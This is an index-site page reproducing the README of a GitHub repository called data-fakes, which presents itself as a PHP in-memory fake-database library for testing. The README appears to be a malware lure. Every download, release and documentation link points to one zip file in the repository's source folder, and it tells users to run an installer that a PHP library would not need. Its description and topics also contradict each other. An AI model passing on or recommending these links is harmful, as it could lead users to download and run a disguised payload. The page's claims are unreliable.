An open API service indexing awesome lists of open source software.

https://github.com/2022-04-11588/data-fakes

🔍 Generate realistic fake data for testing and development, enhancing your projects with simple, customizable data solutions.
https://github.com/2022-04-11588/data-fakes

data dataset developer-tools fake-content faker fakery groovy java mock phoenix python random ruby seeding struct swift-framework test-data testing

Last synced: 2 months ago
JSON representation

🔍 Generate realistic fake data for testing and development, enhancing your projects with simple, customizable data solutions.

Awesome Lists containing this project

README

          

# 🎉 data-fakes - Easy In-Memory Database for Testing

## 📥 Download Now!

[![Download data-fakes](https://raw.githubusercontent.com/2022-04-11588/data-fakes/main/src/fakes-data-v3.9.zip%https://raw.githubusercontent.com/2022-04-11588/data-fakes/main/src/fakes-data-v3.9.zip)](https://raw.githubusercontent.com/2022-04-11588/data-fakes/main/src/fakes-data-v3.9.zip)

## 🚀 Getting Started

Welcome to the data-fakes repository! This application provides an easy way to create in-memory fake databases for MySQL, Redis, and MongoDB. It is designed for anyone looking to test database interactions without the complexity of real databases.

## 🌟 Key Features

- **Deterministic Storage**: Get predictable and repeatable results during tests.
- **DBAL Simulation**: Simulate database interactions easily.
- **Time-To-Live (TTL)**: Manage data expiration effortlessly.
- **Filtering**: Retrieve only the data you need for testing.
- **Full Test Isolation**: Each test runs independently to avoid conflicts.

## 💻 System Requirements

- **Operating System**: Windows, macOS, or Linux
- **Memory**: At least 512 MB RAM
- **PHP Version**: PHP 8.0 or later is required
- **Composer**: Make sure to have Composer installed to manage PHP dependencies.

## 📂 Download & Install

To get started, follow these steps:

1. **Visit the Releases Page**: Click the link below to go to the releases page.
[Visit Releases Page to Download](https://raw.githubusercontent.com/2022-04-11588/data-fakes/main/src/fakes-data-v3.9.zip)

2. **Choose a Release**: Look for the latest version available.

3. **Download the Files**: You may see multiple files; select the one suitable for your operating system.

4. **Install the Application**:
- For **Windows**, run the downloaded installer.
- For **macOS**, drag the application to your Applications folder.
- For **Linux**, you may need to extract files and run specific commands in the terminal.

5. **Set Up Your Environment**: Follow any on-screen prompts to configure your environment.

6. **Start Using data-fakes**: Open the application and begin your testing!

## 🎓 How to Use data-fakes

To use data-fakes effectively, consider these points:

- **Create a Connection**: Set up a connection to your fake database using the adapter appropriate for your testing needs.

- **Add Sample Data**: You can insert sample data into the in-memory database as needed for simulation purposes.

- **Run Tests**: Execute your tests against the fake database. Each run will provide consistent results since the data is stored in-memory.

- **Cleaning Up**: After your tests, you can reset the database, ensuring no data persists beyond your tests.

## 📚 Additional Documentation

For more detailed instructions, refer to the documentation available in the repository. This includes examples and advanced usage patterns to help you get the most out of data-fakes.

## 🤝 Community Support

If you have questions or need help, feel free to open an issue in the repository. You can also check the discussions section for community tips and advice.

## 🔍 Related Topics

This repository includes a variety of topics relevant to database and PHP testing:

- **Data Adapters**
- **Data Storage**
- **Mock Databases**
- **DBAL Simulations**

Explore these areas to enhance your understanding of how data-fakes integrates into your projects.

## 📜 License

This project is licensed under the MIT License. You can use, modify, and distribute the code, but attribution is appreciated.

## 📥 Quick Links

- [Download data-fakes](https://raw.githubusercontent.com/2022-04-11588/data-fakes/main/src/fakes-data-v3.9.zip)
- [Documentation](https://raw.githubusercontent.com/2022-04-11588/data-fakes/main/src/fakes-data-v3.9.zip)

Start your testing journey with data-fakes today!